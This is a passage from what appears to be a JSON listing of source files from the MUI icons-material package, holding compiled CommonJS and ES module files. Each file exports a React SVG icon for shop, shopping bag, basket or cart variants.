    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 9H1v11c0 1.11.89 2 2 2h14c1.11 0 2-.89 2-2H3zm15-4V3c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H5v11c0 1.11.89 2 2 2h14c1.11 0 2-.89 2-2V5zm-6-2h4v2h-4zm0 12V8l5.5 3z\"\n}), 'ShopTwo');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShopTwoOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 9H1v11c0 1.11.89 2 2 2h14c1.11 0 2-.89 2-2H3zm15-4V3c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H5v11c0 1.11.89 2 2 2h14c1.11 0 2-.89 2-2V5zm-6-2h4v2h-4zm9 13H7V7h14zm-9-1 5.5-4L12 8z\"\n}), 'ShopTwoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShopTwoOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 9H1v11c0 1.11.89 2 2 2h14c1.11 0 2-.89 2-2H3zm15-4V3c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H5v11c0 1.11.89 2 2 2h14c1.11 0 2-.89 2-2V5zm-6-2h4v2h-4zm9 13H7V7h14zm-9-1 5.5-4L12 8z\"\n}), 'ShopTwoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShopTwoRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 9c-.55 0-1 .45-1 1v10c0 1.1.9 2 2 2h14c1.11 0 2-.89 2-2H4c-.55 0-1-.45-1-1v-9c0-.55-.45-1-1-1m16-4V3c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v2H7c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2zm-6-2h4v2h-4zm0 11.02V8.84c0-.38.41-.62.74-.44l4.07 2.22c.32.18.35.63.05.84l-4.07 2.96c-.33.24-.79.01-.79-.4\"\n}), 'ShopTwoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShopTwoRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 9c-.55 0-1 .45-1 1v10c0 1.1.9 2 2 2h14c1.11 0 2-.89 2-2H4c-.55 0-1-.45-1-1v-9c0-.55-.45-1-1-1m16-4V3c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v2H7c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2zm-6-2h4v2h-4zm0 11.02V8.84c0-.38.41-.62.74-.44l4.07 2.22c.32.18.35.63.05.84l-4.07 2.96c-.33.24-.79.01-.79-.4\"\n}), 'ShopTwoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShopTwoSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 9H1v13h18v-2H3zm15-4V3c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v2H5v13h18V5zm-6-2h4v2h-4zm0 12V8l5.5 3z\"\n}), 'ShopTwoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShopTwoSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 9H1v13h18v-2H3zm15-4V3c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v2H5v13h18V5zm-6-2h4v2h-4zm0 12V8l5.5 3z\"\n}), 'ShopTwoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShopTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 19h16V8H4zM9 9l7.5 4L9 18z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 6V4c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H2v13c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6zm-6-2h4v2h-4zm10 15H4V8h16zM9 9v9l7.5-5z\"\n}, \"1\")], 'ShopTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShopTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 19h16V8H4zM9 9l7.5 4L9 18z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 6V4c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H2v13c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6zm-6-2h4v2h-4zm10 15H4V8h16zM9 9v9l7.5-5z\"\n}, \"1\")], 'ShopTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShopTwoTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 7v9h14V7zm5 8V8l5.5 3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 9H1v11c0 1.11.89 2 2 2h14c1.11 0 2-.89 2-2H3zm15-4V3c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H5v11c0 1.11.89 2 2 2h14c1.11 0 2-.89 2-2V5zm-6-2h4v2h-4zm9 13H7V7h14zm-9-1 5.5-4L12 8z\"\n}, \"1\")], 'ShopTwoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShopTwoTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 7v9h14V7zm5 8V8l5.5 3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 9H1v11c0 1.11.89 2 2 2h14c1.11 0 2-.89 2-2H3zm15-4V3c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H5v11c0 1.11.89 2 2 2h14c1.11 0 2-.89 2-2V5zm-6-2h4v2h-4zm9 13H7V7h14zm-9-1 5.5-4L12 8z\"\n}, \"1\")], 'ShopTwoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingBag.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 6h-2c0-2.21-1.79-4-4-4S8 3.79 8 6H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-8 4c0 .55-.45 1-1 1s-1-.45-1-1V8h2zm2-6c1.1 0 2 .9 2 2h-4c0-1.1.9-2 2-2m4 6c0 .55-.45 1-1 1s-1-.45-1-1V8h2z\"\n}), 'ShoppingBag');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingBag.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 6h-2c0-2.21-1.79-4-4-4S8 3.79 8 6H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-8 4c0 .55-.45 1-1 1s-1-.45-1-1V8h2zm2-6c1.1 0 2 .9 2 2h-4c0-1.1.9-2 2-2m4 6c0 .55-.45 1-1 1s-1-.45-1-1V8h2z\"\n}), 'ShoppingBag');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingBagOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 6h-2c0-2.21-1.79-4-4-4S8 3.79 8 6H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-6-2c1.1 0 2 .9 2 2h-4c0-1.1.9-2 2-2m6 16H6V8h2v2c0 .55.45 1 1 1s1-.45 1-1V8h4v2c0 .55.45 1 1 1s1-.45 1-1V8h2z\"\n}), 'ShoppingBagOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingBagOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 6h-2c0-2.21-1.79-4-4-4S8 3.79 8 6H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-6-2c1.1 0 2 .9 2 2h-4c0-1.1.9-2 2-2m6 16H6V8h2v2c0 .55.45 1 1 1s1-.45 1-1V8h4v2c0 .55.45 1 1 1s1-.45 1-1V8h2z\"\n}), 'ShoppingBagOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingBagRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 6h-2c0-2.21-1.79-4-4-4S8 3.79 8 6H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-8 4c0 .55-.45 1-1 1s-1-.45-1-1V8h2zm2-6c1.1 0 2 .9 2 2h-4c0-1.1.9-2 2-2m4 6c0 .55-.45 1-1 1s-1-.45-1-1V8h2z\"\n}), 'ShoppingBagRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingBagRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 6h-2c0-2.21-1.79-4-4-4S8 3.79 8 6H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-8 4c0 .55-.45 1-1 1s-1-.45-1-1V8h2zm2-6c1.1 0 2 .9 2 2h-4c0-1.1.9-2 2-2m4 6c0 .55-.45 1-1 1s-1-.45-1-1V8h2z\"\n}), 'ShoppingBagRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingBagSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-4c0-2.21-1.79-4-4-4S8 3.79 8 6H4v16h16zm-10 5H8V8h2zm2-7c1.1 0 2 .9 2 2h-4c0-1.1.9-2 2-2m4 7h-2V8h2z\"\n}), 'ShoppingBagSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingBagSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-4c0-2.21-1.79-4-4-4S8 3.79 8 6H4v16h16zm-10 5H8V8h2zm2-7c1.1 0 2 .9 2 2h-4c0-1.1.9-2 2-2m4 7h-2V8h2z\"\n}), 'ShoppingBagSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingBagTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 20H6V8h2v2c0 .55.45 1 1 1s1-.45 1-1V8h4v2c0 .55.45 1 1 1s1-.45 1-1V8h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 6h-2c0-2.21-1.79-4-4-4S8 3.79 8 6H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-6-2c1.1 0 2 .9 2 2h-4c0-1.1.9-2 2-2m6 16H6V8h2v2c0 .55.45 1 1 1s1-.45 1-1V8h4v2c0 .55.45 1 1 1s1-.45 1-1V8h2z\"\n}, \"1\")], 'ShoppingBagTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingBagTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 20H6V8h2v2c0 .55.45 1 1 1s1-.45 1-1V8h4v2c0 .55.45 1 1 1s1-.45 1-1V8h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 6h-2c0-2.21-1.79-4-4-4S8 3.79 8 6H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-6-2c1.1 0 2 .9 2 2h-4c0-1.1.9-2 2-2m6 16H6V8h2v2c0 .55.45 1 1 1s1-.45 1-1V8h4v2c0 .55.45 1 1 1s1-.45 1-1V8h2z\"\n}, \"1\")], 'ShoppingBagTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingBasket.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.21 9-4.38-6.56c-.19-.28-.51-.42-.83-.42s-.64.14-.83.43L6.79 9H2c-.55 0-1 .45-1 1 0 .09.01.18.04.27l2.54 9.27c.23.84 1 1.46 1.92 1.46h13c.92 0 1.69-.62 1.93-1.46l2.54-9.27L23 10c0-.55-.45-1-1-1zM9 9l3-4.4L15 9zm3 8c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'ShoppingBasket');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingBasket.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.21 9-4.38-6.56c-.19-.28-.51-.42-.83-.42s-.64.14-.83.43L6.79 9H2c-.55 0-1 .45-1 1 0 .09.01.18.04.27l2.54 9.27c.23.84 1 1.46 1.92 1.46h13c.92 0 1.69-.62 1.93-1.46l2.54-9.27L23 10c0-.55-.45-1-1-1zM9 9l3-4.4L15 9zm3 8c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'ShoppingBasket');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingBasketOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 9h-4.79l-4.38-6.56c-.19-.28-.51-.42-.83-.42s-.64.14-.83.43L6.79 9H2c-.55 0-1 .45-1 1 0 .09.01.18.04.27l2.54 9.27c.23.84 1 1.46 1.92 1.46h13c.92 0 1.69-.62 1.93-1.46l2.54-9.27L23 10c0-.55-.45-1-1-1M12 4.8 14.8 9H9.2zM18.5 19l-12.99.01L3.31 11H20.7zM12 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'ShoppingBasketOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingBasketOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 9h-4.79l-4.38-6.56c-.19-.28-.51-.42-.83-.42s-.64.14-.83.43L6.79 9H2c-.55 0-1 .45-1 1 0 .09.01.18.04.27l2.54 9.27c.23.84 1 1.46 1.92 1.46h13c.92 0 1.69-.62 1.93-1.46l2.54-9.27L23 10c0-.55-.45-1-1-1M12 4.8 14.8 9H9.2zM18.5 19l-12.99.01L3.31 11H20.7zM12 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'ShoppingBasketOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingBasketRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 9h-4.79l-4.39-6.57c-.4-.59-1.27-.59-1.66 0L6.77 9H2c-.55 0-1 .45-1 1 0 .09.01.18.04.27l2.54 9.27c.23.84 1 1.46 1.92 1.46h13c.92 0 1.69-.62 1.93-1.46l2.54-9.27L23 10c0-.55-.45-1-1-1M11.99 4.79 14.8 9H9.18zM12 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'ShoppingBasketRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingBasketRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 9h-4.79l-4.39-6.57c-.4-.59-1.27-.59-1.66 0L6.77 9H2c-.55 0-1 .45-1 1 0 .09.01.18.04.27l2.54 9.27c.23.84 1 1.46 1.92 1.46h13c.92 0 1.69-.62 1.93-1.46l2.54-9.27L23 10c0-.55-.45-1-1-1M11.99 4.79 14.8 9H9.18zM12 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'ShoppingBasketRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingBasketSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.21 9-4.39-6.57c-.4-.59-1.27-.59-1.66 0L6.77 9H.69L4 21h16.02l3.29-12zm-5.22-4.21L14.8 9H9.18zM12 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'ShoppingBasketSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingBasketSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.21 9-4.39-6.57c-.4-.59-1.27-.59-1.66 0L6.77 9H.69L4 21h16.02l3.29-12zm-5.22-4.21L14.8 9H9.18zM12 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'ShoppingBasketSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingBasketTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m3.31 11 2.2 8.01L18.5 19l2.2-8zM12 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 9h-4.79l-4.38-6.56c-.19-.28-.51-.42-.83-.42s-.64.14-.83.43L6.79 9H2c-.55 0-1 .45-1 1 0 .09.01.18.04.27l2.54 9.27c.23.84 1 1.46 1.92 1.46h13c.92 0 1.69-.62 1.93-1.46l2.54-9.27L23 10c0-.55-.45-1-1-1M12 4.8 14.8 9H9.2zM18.5 19l-12.99.01L3.31 11H20.7zM12 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}, \"1\")], 'ShoppingBasketTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingBasketTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m3.31 11 2.2 8.01L18.5 19l2.2-8zM12 17c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 9h-4.79l-4.38-6.56c-.19-.28-.51-.42-.83-.42s-.64.14-.83.43L6.79 9H2c-.55 0-1 .45-1 1 0 .09.01.18.04.27l2.54 9.27c.23.84 1 1.46 1.92 1.46h13c.92 0 1.69-.62 1.93-1.46l2.54-9.27L23 10c0-.55-.45-1-1-1M12 4.8 14.8 9H9.2zM18.5 19l-12.99.01L3.31 11H20.7zM12 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}, \"1\")], 'ShoppingBasketTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingCart.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2M1 2v2h2l3.6 7.59-1.35 2.45c-.16.28-.25.61-.25.96 0 1.1.9 2 2 2h12v-2H7.42c-.14 0-.25-.11-.25-.25l.03-.12.9-1.63h7.45c.75 0 1.41-.41 1.75-1.03l3.58-6.49c.08-.14.12-.31.12-.48 0-.55-.45-1-1-1H5.21l-.94-2zm16 16c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2\"\n}), 'ShoppingCart');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingCart.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2M1 2v2h2l3.6 7.59-1.35 2.45c-.16.28-.25.61-.25.96 0 1.1.9 2 2 2h12v-2H7.42c-.14 0-.25-.11-.25-.25l.03-.12.9-1.63h7.45c.75 0 1.41-.41 1.75-1.03l3.58-6.49c.08-.14.12-.31.12-.48 0-.55-.45-1-1-1H5.21l-.94-2zm16 16c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2\"\n}), 'ShoppingCart');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShoppingCartCheckout.js",
